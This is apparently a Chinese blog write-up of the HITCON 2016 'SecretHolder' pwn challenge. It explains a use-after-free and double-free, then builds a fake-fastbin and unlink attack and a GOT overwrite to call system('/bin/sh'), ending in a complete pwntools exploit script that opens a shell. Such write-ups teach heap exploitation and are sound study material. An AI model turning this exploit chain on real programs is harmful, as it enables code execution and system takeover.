很早就想写关于HITCON2016
的PWN
题的一些理解分析,但因为懒人心理一拖再拖,今天终于可以静下心来写一写writeup
,不得不说,hitcon
的题目质量还是很高,这对于刚入门pwn
的我而言,真是再好不过的教程。
这是hitcon2016的第一个pwn
题
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
程序逻辑并不复杂,只不过Keep
和Wipe
必须按先后顺序执行
__int64 sub_40086D()
{
v3 = *MK_FP(__FS__, 40LL);
puts("Which level of secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
if ( v0 == 2 )
{
if ( !bigSecret )
{
bigSecret_ptr = calloc(1uLL, 0xFA0uLL);
bigSecret = 1;
puts("Tell me your secret: ");
read(0, bigSecret_ptr, 0xFA0uLL);
}
}
else if ( v0 == 3 )
{
if ( !hugeSecret )
{
hugeSecret_ptr = calloc(1uLL, 0x61A80uLL);
hugeSecret = 1;
puts("Tell me your secret: ");
read(0, hugeSecret_ptr, 0x61A80uLL);
}
}
else if ( v0 == 1 && !smallSecret )
{
smallSecret_ptr = calloc(1uLL, 0x28uLL);
smallSecret = 1;
puts("Tell me your secret: ");
read(0, smallSecret_ptr, 0x28uLL);
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
这里依据选择指定大小的秘密会申请固定大小内存空间,并且对于每种类型都只能创建一次。
__int64 sub_400A27()
{
v3 = *MK_FP(__FS__, 40LL);
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
switch ( v0 )
{
case 2:
free(bigSecret_ptr);
bigSecret = 0;
break;
case 3:
free(hugeSecret_ptr);
hugeSecret = 0;
break;
case 1:
free(smallSecret_ptr);
smallSecret = 0;
break;
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
上面的代码进行的是wipe操作,但是,程序在free之前没有检查指针,并且没有在free
操作之后并没有将指针置空,因此这里导致了两个漏洞:UAF
和double free
。那么这里可以这样利用,首先创建一个小堆块(记为A
),然后释放掉,此时再申请一个大堆块(记为B
),可以得到和刚释放的指针相同的指针,即A=B
。再触发一次free(A)
,等价于free(B)
,但我们依然可以对B
进行编辑。
keep('small', '')
wipe('small')
keep('huge', '')
wipe('small') #free again
但依靠上述过程得到的A
和B
并不在同一个内存段中(具体原因现在还不清楚,有兴趣的同学可以分析一下sysmalloc
函数)
0x00400000 0x00402000 r-xp /root/桌面/SecretHolder
0x00601000 0x00602000 r--p /root/桌面/SecretHolder
0x00602000 0x00603000 rw-p /root/桌面/SecretHolder
0x014ca000 0x014eb000 rw-p [heap]
我们期望分配到的位置
0x00007fed74fe5000 0x00007fed7517a000 r-xp /lib/x86_64-linux-gnu/libc-2.24.so
实际分配到位置
0x00007fed7517a000 0x00007fed75379000 ---p /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed75379000 0x00007fed7537d000 r--p /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537d000 0x00007fed7537f000 rw-p /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537f000 0x00007fed75383000 rw-p mapped
0x00007fed75383000 0x00007fed753a6000 r-xp /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed7551f000 0x00007fed75583000 rw-p mapped
0x00007fed755a2000 0x00007fed755a5000 rw-p mapped
0x00007fed755a5000 0x00007fed755a6000 r--p /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a6000 0x00007fed755a7000 rw-p /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a7000 0x00007fed755a8000 rw-p mapped
0x00007ffd2096c000 0x00007ffd2098d000 rw-p [stack]
0x00007ffd209f7000 0x00007ffd209f9000 r--p [vvar]
0x00007ffd209f9000 0x00007ffd209fb000 r-xp [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
想要使得A
和B
在同一个内存段中,只需要先申请一个大堆块,并释放掉,然后再进行上述步骤即可
keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')
wipe('small') #free again
到这里,我们已经可以通过编辑B来控制后续申请的全部堆块结构内容,接下来就可以利用unlink attack
来修改全局指针。但是,利用unlink
需要满足一个前提条件:需要执行unlink
的两个堆块不是fastbin
。所以,需要构造两个大小大于0x80
的块
keep('small', '')
keep('big', '')
这部分代码执行结束时的内存分布如下所示
0x20dc000: 0x0 0x31
0x20dc010: 0xa 0x0 small secret
0x20dc020: 0x0 0x0
0x20dc030: 0x0 0xfb1
0x20dc040: 0xa 0x0 big secret
0x20dc050: 0x0 0x0
0x20dc060: 0x0 0x0
然后通过renew操作构造一个fake fastbin
exploit_st1 = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64((0xfb0 - 0x30) | PREV_INUSE)
renew('huge', exploit_st1) # create two fastbins with same size
覆盖后内存分布如下
0x20dc000: 0x0 0x31 fastbin1
0x20dc010: 0x0 0x0
0x20dc020: 0x0 0x0
0x20dc030: 0x0 0x31 fake fastbin2
0x20dc040: 0x0 0x0
0x20dc050: 0x0 0x0 fake big_secret block end
0x20dc060: 0x0 0xf81
0x20dc070: 0xa 0x0
0x20dc080: 0x0 0x0
...
0x20dcfe0: 0x0 0x0 true big_secret block end
0x20dcfe0: 0x0 0x81021
这里我们先释放掉fastbin1
和fake fastbin2
,释放后的内存如下图所示
0x20dc000: 0x0 0x31
0x20dc010: 0x0 0x0
0x20dc020: 0x0 0x0
0x20dc030: 0x0 0x31
0x20dc040: 0x20dc000 0x0
0x20dc050: 0x0 0x0
0x20dc060: 0x0 0xf81
...
0x20dcfd0: 0x0 0x0
0x20dcfe0: 0x0 0x81021
那么,当申请small_ptr
将会得到0x20dc040
,但申请big_ptr
时将会得到0x20dcff0
,此时再通过renew('huge',payload)
操作构造用于unlink
操作的堆块
addr_ptr_small = 0x6020b0
exploit_st2 = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0) # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE) # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0) # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size
keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big') # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)
此时,small_ptr
已经指向了0x602098
,renew('small', payload)
可以修改bigSecret_ptr
,再一次调用renew('big', payload)
进行任意内存写
.bss:0000000000602098
.bss:00000000006020A0 ; void *bigSecret_ptr
.bss:00000000006020A0 bigSecret_ptr
.bss:00000000006020A0
.bss:00000000006020A8 ; void *hugeSecret_ptr
.bss:00000000006020A8 hugeSecret_ptr
.bss:00000000006020A8
.bss:00000000006020B0 ; void *smallSecret_ptr
.bss:00000000006020B0 smallSecret_ptr
后续就比较简单了,脚本如下
from pwn import *
def keep(type, secret):
p.recvuntil("Renew secret")
p.sendline('1')
p.recvuntil("Huge secret")
if type=="small":
p.sendline('1')
elif type=="big":
p.sendline('2')
elif type=="huge":
p.sendline('3')
p.recvuntil("your secret:")
p.sendline(secret)
def wipe(type):
p.recvuntil("Renew secret")
p.sendline('2')
p.recvuntil("Huge secret")
if type=="small":
p.sendline('1')
elif type=="big":
p.sendline('2')
elif type=="huge":
p.sendline('3')
def renew(type, secret):
p.recvuntil("Renew secret")
p.sendline('3')
p.recvuntil("Huge secret")
if type=="small":
p.sendline('1')
elif type=="big":
p.sendline('2')
elif type=="huge":
p.sendline('3')
p.recvuntil("your secret:")
p.sendline(secret)
binf = ELF('SecretHolder')
addr_got_stack_fail = binf.got['__stack_chk_fail']
addr_got_memset = binf.got['memset']
addr_got_main = binf.got['__libc_start_main']
addr_plt_puts = binf.plt['puts']
addr_plt_alarm = binf.plt['alarm']
addr_plt_exit = binf.plt['exit']
debug = 1
# context.log_level = True
if debug:
p = process('./SecretHolder')
PREV_INUSE = 1
gdb.attach(p, open('aa'))
keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '') # buf_huge == buf_small
wipe('small')
exploit_st1 = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64(0x81fa0 | PREV_INUSE)
keep('small', '')
keep('big', '')
renew('huge', exploit_st1)
wipe('small')
wipe('big')
addr_ptr_small = 0x6020b0
exploit_st2 = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0) # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE) # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0) # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size
keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big') # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)
bss_global = 0x6020a0
payload_st1 = '\x00'*0x8
payload_st1 += p64(binf.got['free']) # buf_big
payload_st1 += p64(binf.got['read']) # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew('small', payload_st1)
renew('big', p64(binf.plt['puts']) + p64(binf.plt['puts']+6))
wipe('huge')
offset___libc_start_main_ret = 0x20a40
offset_system = 0x00000000000443d0
offset_dup2 = 0x00000000000f7b90
offset_read = 0x00000000000f7470
offset_write = 0x00000000000f74d0
offset_str_bin_sh = 0x18c3dd
p.recvline()
read_addr = u64(p.recv(6) + '\x00\x00')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.21.so')
system_addr = lib.symbols['system'] - lib.symbols['read'] + read_addr
log.info('got system addr ' + hex(system_addr))
bin_sh = offset_str_bin_sh - offset_read + read_addr
payload_st1 = '\x00'*0x8
payload_st1 += p64(binf.got['free']) # buf_big
payload_st1 += p64(bin_sh) # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew("small", payload_st1)
renew("big", p64(system_addr) + p64(binf.plt['puts']+6))
wipe('huge')
p.interactive()
网友评论